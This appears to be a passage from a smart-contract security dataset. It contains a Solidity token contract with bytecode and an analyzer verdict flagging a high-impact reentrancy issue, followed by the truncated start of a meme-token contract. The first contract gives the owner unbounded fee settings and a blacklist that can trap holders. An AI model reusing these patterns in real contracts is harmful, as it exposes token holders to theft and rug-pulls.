uint256 public _maxTxAmount = 1500000 * 10**9; //1.5%
uint256 public _maxWalletSize = 1500000 * 10**9; //1.5%
uint256 public _swapTokensAtAmount = 400000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104e7578063dd62ed3e14610507578063ea1644d51461054d578063f2fde38b1461056d57600080fd5b8063a2a957bb14610462578063a9059cbb14610482578063bfd79284146104a2578063c3c8cd80146104d257600080fd5b80638f70ccf7116100d15780638f70ccf71461040c5780638f9a55c01461042c57806395d89b41146101f357806398a5c3151461044257600080fd5b806374010ece146103b85780637d1db4a5146103d85780638da5cb5b146103ee57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461034e5780636fc3eaec1461036e57806370a0823114610383578063715018a6146103a357600080fd5b8063313ce567146102f257806349bd5a5e1461030e5780636b9990531461032e57600080fd5b80631694505e116101a05780631694505e1461025f57806318160ddd1461029757806323b872dd146102bc5780632fd689e3146102dc57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461022f57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611a85565b61058d565b005b3480156101ff57600080fd5b506040805180820182526004815263544c554360e01b602082015290516102269190611bb7565b60405180910390f35b34801561023b57600080fd5b5061024f61024a3660046119d5565b61062c565b6040519015158152602001610226565b34801561026b57600080fd5b5060145461027f906001600160a01b031681565b6040516001600160a01b039091168152602001610226565b3480156102a357600080fd5b5067016345785d8a00005b604051908152602001610226565b3480156102c857600080fd5b5061024f6102d7366004611994565b610643565b3480156102e857600080fd5b506102ae60185481565b3480156102fe57600080fd5b5060405160098152602001610226565b34801561031a57600080fd5b5060155461027f906001600160a01b031681565b34801561033a57600080fd5b506101f1610349366004611921565b6106ac565b34801561035a57600080fd5b506101f1610369366004611b51565b6106f7565b34801561037a57600080fd5b506101f161073f565b34801561038f57600080fd5b506102ae61039e366004611921565b61078a565b3480156103af57600080fd5b506101f16107ac565b3480156103c457600080fd5b506101f16103d3366004611b6c565b610820565b3480156103e457600080fd5b506102ae60165481565b3480156103fa57600080fd5b506000546001600160a01b031661027f565b34801561041857600080fd5b506101f1610427366004611b51565b61084f565b34801561043857600080fd5b506102ae60175481565b34801561044e57600080fd5b506101f161045d366004611b6c565b610897565b34801561046e57600080fd5b506101f161047d366004611b85565b6108c6565b34801561048e57600080fd5b5061024f61049d3660046119d5565b610904565b3480156104ae57600080fd5b5061024f6104bd366004611921565b60106020526000908152604090205460ff1681565b3480156104de57600080fd5b506101f1610911565b3480156104f357600080fd5b506101f1610502366004611a01565b610965565b34801561051357600080fd5b506102ae61052236600461195b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055957600080fd5b506101f1610568366004611b6c565b610a06565b34801561057957600080fd5b506101f1610588366004611921565b610a35565b6000546001600160a01b031633146105c05760405162461bcd60e51b81526004016105b790611c0c565b60405180910390fd5b60005b8151811015610628576001601060008484815181106105e4576105e4611d53565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062081611d22565b9150506105c3565b5050565b6000610639338484610b1f565b5060015b92915050565b6000610650848484610c43565b6106a2843361069d85604051806060016040528060288152602001611d95602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061117f565b610b1f565b5060019392505050565b6000546001600160a01b031633146106d65760405162461bcd60e51b81526004016105b790611c0c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107215760405162461bcd60e51b81526004016105b790611c0c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061077457506013546001600160a01b0316336001600160a01b0316145b61077d57600080fd5b47610787816111b9565b50565b6001600160a01b03811660009081526002602052604081205461063d9061123e565b6000546001600160a01b031633146107d65760405162461bcd60e51b81526004016105b790611c0c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461084a5760405162461bcd60e51b81526004016105b790611c0c565b601655565b6000546001600160a01b031633146108795760405162461bcd60e51b81526004016105b790611c0c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108c15760405162461bcd60e51b81526004016105b790611c0c565b601855565b6000546001600160a01b031633146108f05760405162461bcd60e51b81526004016105b790611c0c565b600893909355600a91909155600955600b55565b6000610639338484610c43565b6012546001600160a01b0316336001600160a01b0316148061094657506013546001600160a01b0316336001600160a01b0316145b61094f57600080fd5b600061095a3061078a565b9050610787816112c2565b6000546001600160a01b0316331461098f5760405162461bcd60e51b81526004016105b790611c0c565b60005b82811015610a005781600560008686858181106109b1576109b1611d53565b90506020020160208101906109c69190611921565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109f881611d22565b915050610992565b50505050565b6000546001600160a01b03163314610a305760405162461bcd60e51b81526004016105b790611c0c565b601755565b6000546001600160a01b03163314610a5f5760405162461bcd60e51b81526004016105b790611c0c565b6001600160a01b038116610ac45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b7565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b7565b6001600160a01b038216610d095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b7565b60008111610d6b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b7565b6000546001600160a01b03848116911614801590610d9757506000546001600160a01b03838116911614155b1561107857601554600160a01b900460ff16610e30576000546001600160a01b03848116911614610e305760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105b7565b601654811115610e825760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105b7565b6001600160a01b03831660009081526010602052604090205460ff16158015610ec457506001600160a01b03821660009081526010602052604090205460ff16155b610f1c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105b7565b6015546001600160a01b03838116911614610fa15760175481610f3e8461078a565b610f489190611cb2565b10610fa15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105b7565b6000610fac3061078a565b601854601654919250821015908210610fc55760165491505b808015610fdc5750601554600160a81b900460ff16155b8015610ff657506015546001600160a01b03868116911614155b801561100b5750601554600160b01b900460ff165b801561103057506001600160a01b03851660009081526005602052604090205460ff16155b801561105557506001600160a01b03841660009081526005602052604090205460ff16155b1561107557611063826112c2565b47801561107357611073476111b9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ba57506001600160a01b03831660009081526005602052604090205460ff165b806110ec57506015546001600160a01b038581169116148015906110ec57506015546001600160a01b03848116911614155b156110f957506000611173565b6015546001600160a01b03858116911614801561112457506014546001600160a01b03848116911614155b1561113657600854600c55600954600d555b6015546001600160a01b03848116911614801561116157506014546001600160a01b03858116911614155b1561117357600a54600c55600b54600d555b610a008484848461144b565b600081848411156111a35760405162461bcd60e51b81526004016105b79190611bb7565b5060006111b08486611d0b565b95945050505050565b6012546001600160a01b03166108fc6111d3836002611479565b6040518115909202916000818181858888f193505050501580156111fb573d6000803e3d6000fd5b506013546001600160a01b03166108fc611216836002611479565b6040518115909202916000818181858888f19350505050158015610628573d6000803e3d6000fd5b60006006548211156112a55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105b7565b60006112af6114bb565b90506112bb8382611479565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130a5761130a611d53565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135e57600080fd5b505afa158015611372573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611396919061193e565b816001815181106113a9576113a9611d53565b6001600160a01b0392831660209182029290920101526014546113cf9130911684610b1f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611408908590600090869030904290600401611c41565b600060405180830381600087803b15801561142257600080fd5b505af1158015611436573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611458576114586114de565b61146384848461150c565b80610a0057610a00600e54600c55600f54600d55565b60006112bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611603565b60008060006114c8611631565b90925090506114d78282611479565b9250505090565b600c541580156114ee5750600d54155b156114f557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151e87611671565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061155090876116ce565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461157f9086611710565b6001600160a01b0389166000908152600260205260409020556115a18161176f565b6115ab84836117b9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115f091815260200190565b60405180910390a3505050505050505050565b600081836116245760405162461bcd60e51b81526004016105b79190611bb7565b5060006111b08486611cca565b600654600090819067016345785d8a000061164c8282611479565b8210156116685750506006549267016345785d8a000092509050565b90939092509050565b600080600080600080600080600061168e8a600c54600d546117dd565b925092509250600061169e6114bb565b905060008060006116b18e878787611832565b919e509c509a509598509396509194505050505091939550919395565b60006112bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061117f565b60008061171d8385611cb2565b9050838110156112bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b7565b60006117796114bb565b905060006117878383611882565b306000908152600260205260409020549091506117a49082611710565b30600090815260026020526040902055505050565b6006546117c690836116ce565b6006556007546117d69082611710565b6007555050565b60008080806117f760646117f18989611882565b90611479565b9050600061180a60646117f18a89611882565b905060006118228261181c8b866116ce565b906116ce565b9992985090965090945050505050565b60008080806118418886611882565b9050600061184f8887611882565b9050600061185d8888611882565b9050600061186f8261181c86866116ce565b939b939a50919850919650505050505050565b6000826118915750600061063d565b600061189d8385611cec565b9050826118aa8583611cca565b146112bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b7565b803561190c81611d7f565b919050565b8035801515811461190c57600080fd5b60006020828403121561193357600080fd5b81356112bb81611d7f565b60006020828403121561195057600080fd5b81516112bb81611d7f565b6000806040838503121561196e57600080fd5b823561197981611d7f565b9150602083013561198981611d7f565b809150509250929050565b6000806000606084860312156119a957600080fd5b83356119b481611d7f565b925060208401356119c481611d7f565b929592945050506040919091013590565b600080604083850312156119e857600080fd5b82356119f381611d7f565b946020939093013593505050565b600080600060408486031215611a1657600080fd5b833567ffffffffffffffff80821115611a2e57600080fd5b818601915086601f830112611a4257600080fd5b813581811115611a5157600080fd5b8760208260051b8501011115611a6657600080fd5b602092830195509350611a7c9186019050611911565b90509250925092565b60006020808385031215611a9857600080fd5b823567ffffffffffffffff80821115611ab057600080fd5b818501915085601f830112611ac457600080fd5b813581811115611ad657611ad6611d69565b8060051b604051601f19603f83011681018181108582111715611afb57611afb611d69565b604052828152858101935084860182860187018a1015611b1a57600080fd5b600095505b83861015611b4457611b3081611901565b855260019590950194938601938601611b1f565b5098975050505050505050565b600060208284031215611b6357600080fd5b6112bb82611911565b600060208284031215611b7e57600080fd5b5035919050565b60008060008060808587031215611b9b57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611be457858101830151858201604001528201611bc8565b81811115611bf6576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c915784516001600160a01b031683529383019391830191600101611c6c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cc557611cc5611d3d565b500190565b600082611ce757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d0657611d06611d3d565b500290565b600082821015611d1d57611d1d611d3d565b500390565b6000600019821415611d3657611d36611d3d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461078757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f9128151b6674ef9856615e95c568e3b54fd70d36716e4c4e2e702ff151d3ef64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,974 |
0x7245c095f44d6a0ba95dafacb790b93e95662854
|
/**
*Submitted for verification at Etherscan.io on 2021-07-13
*/
/**
t.me/uniswapheyueshouge
WE LAUNCH
AS WARREN BUFFET SUGGESTS FIND AS MANY COINS COINS AND FAST
LETS PROVE WARREN TRUE
??
FAIRLAUNCH ON UNISWAP??
??
0% Team Tokens ??
*For the DEGENS
TAX - 10%
5% BURN
5% LIQUIDITY
10% INITIAL BURN
SLippage 10%+
F2S15U1u2uUjuuuJuYJYjJuJujujuJUuujuJuJuJuj2uUu2UF251FFkFXFPXPPqXNqE0EN
2JuuYuYYLYvYvvvL7v77777v7vvLvvvLvLvLvLvLLYvYLYLJLujuu2u1U1152F5kFXkqPP
2J2u2uuJuJuYJLJLLLLLLLLLYLJLjJ11kFXkPkPSkF5uuuujUu2U2U51F5SFkFXkPkPP0P
uuu2uujuJjLYvYLLLLvLLLvLLjUkF5u7i:.,,i:..iLFSP1F15U2u2U1211F5F5kSqXPPP
2J2uuJuJJLYLLvLvLvLvYjUuS1r,. :2uUkNkFU121U5251FFXSkkqS
uuuUuuJuYJLJvLLLvLj2UL7r, .ijPESF15152F1F1SFXkX
UJ2uuJuJuYJYJLYY51Yi .rk0P5F15252F1S5XS
UuuUuuJuYuYJYu15;. i: r0GF522251F1SFS
uYUuuJuYjLJJSS7 7P. .. .... . .X: rES1U1U1151k1
JYJuLJLYLYYui .GU. ..,,:,. ..:::,,. v0 .1U2u1U1UF21
JvjLYvLvLvu. . . i87...,,:::::::,:ii::..,. :Or .,. Y5juuUu2u5u
v7LLvLvv7vL, ..,..,. 70: .::,.:,::iiiiriii:. .ZU ::i:. uuuJujuuUUU
v7Lvv7v7v7Lr :;:::: j5:.. .,:::r7rirr7J25v. vk .irv.,uuYJYuJujUJ
v7vv7v77r77L:,i7rr, ,qu, :[email protected]@[email protected] iY::JuLYLjLJjuuu
Lrv7777r7r77Li:iv;. rOY:,:[email protected]@5ri:,:::[email protected]@[email protected]: .iiLJvLvYLJLujUY
7r77r7r7r7r7r7ri:i..:UFjri:[email protected]@Ei. iLv:::vS::: iuL7vvvvLLJJuuj
7;7r7r7rrrrir;rr;::777Yu7::,:i7:. ,:::vu .j.iv7v7vvLvYLYJuY
rir7rri;iiiiiii;r7. .i;vi::::::. ::::Yr ,Yvvr77v7vvLvLLjjJ
ri7rririiiiii:ir7. .:i:ii:..,:, :Lu1uYr: .::ii :77r7rv7vvvvLvYLjv
rirriri;iiiii;7r :i;ii::,:.. [email protected]@@BM1: .,:, .:rrrr77v7v7vvv7LLv
7ir;ririiiiiir, .:i77r::. :::[email protected]@@[email protected]: .:.,:iir;77Lv77v77777Y7
7rrrirrriiirr: .:::ivv7:r: :[email protected]@[email protected] : .:iirr77vv777r7r7r77r
v;7rrr7rrrrrr ...::iivL7rv::;[email protected]@BBk7.. ,;rrvvLvv77rrr7r777i
Jvvv77r7rr7j: ....,:7vvr7YJ7L7r7YFNNZkjrii;. .7vLYJvv7vr7r777777r
L7LvL77rrrLi .,.::iirrrrju22SULr;irr;iir7r: :7JYuYYvv7vvvvLvv7L7
;irrrrrrrLr .,:,::i;rijuLj2j2S5UuLvvLri::.. :vLYLJLLvLLJYJLLLuJY
r:;iiiii7r ..,,:i;iii7LLv51Fj1u522jL77;i::. r7vvLLJLLYuJuLJjUu1u
rii;;7777. .,::;rrrr;77YJ21uvuU2uuLvrrii:, LL7LvLLjYuJuYuuuuU22
vi7rrrvY: ...::ii;ir7LvYvvvLvvvJLLLLvvvJvvri. v77vLvujuJjLJJ2u2U5u
7:iiiiri ..,::ir7virr77L7vLLr7vv7LvLv777ii:. :rrLLLLYLL7vvYYuJuju
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
